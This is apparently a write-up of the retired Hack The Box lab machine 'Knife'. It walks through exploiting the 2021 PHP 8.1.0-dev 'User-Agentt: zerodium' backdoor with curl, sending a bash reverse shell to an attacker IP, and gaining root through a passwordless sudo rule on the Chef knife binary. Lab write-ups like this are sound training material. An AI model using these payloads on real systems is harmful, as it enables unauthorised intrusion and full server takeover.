← Back to writeups

Hack The Box: Knife

Hack The Box — Knife Walkthrough

Difficulty: Easy · OS: Linux (Ubuntu 20.04) · Target IP: 10.129.61.67 · Date: September 21, 2026


Overview

Knife is a retired Easy-rated Linux box on Hack The Box, and it's one of the most satisfying beginner machines on the platform precisely because of how little complexity it involves. The entire path from unauthenticated visitor to root comes down to two things: a backdoored PHP development build that was briefly published to the official PHP repository in 2021, and a misconfigured sudo rule that grants a low-privilege user passwordless access to a Ruby-based CLI tool. No fuzzing, no brute-forcing, no rabbit holes. Just reading what the server tells you and knowing what to search for. I want to walk through exactly how I approached it, including a small syntax issue I ran into during exploitation, because those details are usually the most useful part of a writeup.


Reconnaissance

I started with a full TCP service and version scan:

nmap -sSCV -vv -oN knife 10.129.61.67

The results were minimal but clean:

Port Service Version Notes
22 SSH OpenSSH 8.2p1 Ubuntu Standard, nothing unusual
80 HTTP Apache 2.4.41 (Ubuntu) Web application running

Only two ports open. SSH looked completely stock — no unusual version, no exposed banner info worth pursuing. Everything pointed to the web server being the entry point.


Enumeration

Web Server (Port 80)

Before opening a browser, I ran whatweb to fingerprint the tech stack:

whatweb http://10.129.61.67/
http://10.129.61.67/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.61.67],
PHP[8.1.0-dev], Script, Title[Emergent Medical Idea],
X-Powered-By[PHP/8.1.0-dev]

The X-Powered-By header showed PHP/8.1.0-dev. That version string stopped me cold. You never see a -dev suffix on a production server under normal circumstances, that designation means a pre-release development build, something that would only exist on a developer's local machine or a testing environment, never in production. I searched the exact string immediately and found what I was looking for: in March 2021, this exact build had been briefly pushed to the official PHP GitHub repository with a deliberately planted backdoor. It was caught and removed quickly, but not before it became a well-documented vulnerability. The website itself is a generic "Emergent Medical Idea" landing page, but that was irrelevant, the version string was the entire attack surface.


Foothold — PHP 8.1.0-dev Backdoor RCE

How the Backdoor Works

The backdoor is elegant in how simple it is. The malicious commit added a check for a custom HTTP header named User-Agentt (tt, intentional). If the header value starts with the string zerodium, everything that follows gets passed directly into PHP's eval() function. No authentication. No rate limiting. No validation of any kind. Anyone who knows the header name and the trigger string gets arbitrary server-side code execution on any server running this build.

Confirming Code Execution

I confirmed the backdoor was present and responding with a simple test:

curl -s http://10.129.61.67/ -H 'User-Agentt: zerodiumsystem("echo START; id; echo END;");'
START
uid=1000(james) gid=1000(james) groups=1000(james)
END
<!DOCTYPE html>
...

Output appeared before the HTML body, confirming that system() was executing and printing to stdout before the page rendered. I was already running commands as james.

A note on syntax: I did hit one issue during testing. My initial attempts used single quotes inside the header value, e.g. zerodiumsystem('echo TEST123;'), which consistently returned a PHP-CGI error (No input file specified.) with no command output. The fix was switching to double quotes around the shell command and adding a semicolon after the closing parenthesis: zerodiumsystem("command;"). That's the exact syntax eval() expects here, and it won't produce output if you get the quoting wrong.

Getting a Shell

With code execution confirmed, I set up a listener:

nc -lvnp 4444

Then sent a bash reverse shell through the same header:

curl -s http://10.129.61.67/ -H 'User-Agentt: zerodiumsystem("bash -c '\''bash -i >& /dev/tcp/10.10.15.0/4444 0>&1'\''");'

The shell came back immediately on my listener. I was in as james.

Shell Stabilization

A raw netcat shell has no TTY, no arrow keys, no tab completion, and Ctrl+C kills the session instead of the foreground process. I upgraded it before doing anything else:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm

That gave me a fully interactive terminal that behaved like a normal SSH session.

User Flag

cat /home/james/user.txt

Privilege Escalation — knife sudo Misconfiguration

Enumeration

The first thing I check after landing a shell is always sudo permissions:

sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

james can run /usr/bin/knife as root with no password required. knife is the command-line interface for Chef, a Ruby-based configuration management framework used to automate infrastructure provisioning. It has a subcommand called exec that evaluates arbitrary Ruby code in the context of the running process. This is a well-known GTFOBins entry: any binary that can execute code and is granted passwordless sudo access becomes a direct path to root.

Exploitation

sudo /usr/bin/knife exec -E 'exec "/bin/bash"'

The -E flag tells knife exec to evaluate a Ruby expression. exec "/bin/bash" is a Ruby call that replaces the current process image with /bin/bash, since knife is already running as root under sudo, the shell it spawns inherits root privileges directly. No exploit, no CVE, no shellcode. Just a misconfigured permission doing exactly what you'd expect it to do.

root@knife:/home/james#

Root Flag

cat /root/root.txt

Attack Chain Summary

  1. Recon: nmap showed only SSH and HTTP. whatweb fingerprinted the web server and revealed PHP/8.1.0-dev in the X-Powered-By header.
  2. Vulnerability identification: the -dev version string pointed to the March 2021 PHP backdoor incident. The User-Agentt header with a zerodium prefix passes arbitrary input to eval().
  3. RCE confirmation: zerodiumsystem("id;") executed and returned uid=1000(james), confirming unauthenticated code execution.
  4. Reverse shell: bash reverse shell delivered through the same header; shell caught as james.
  5. Privilege escalation: sudo -l revealed james could run /usr/bin/knife as root with no password; knife exec -E 'exec "/bin/bash"' spawned a root shell directly.

← Back to writeups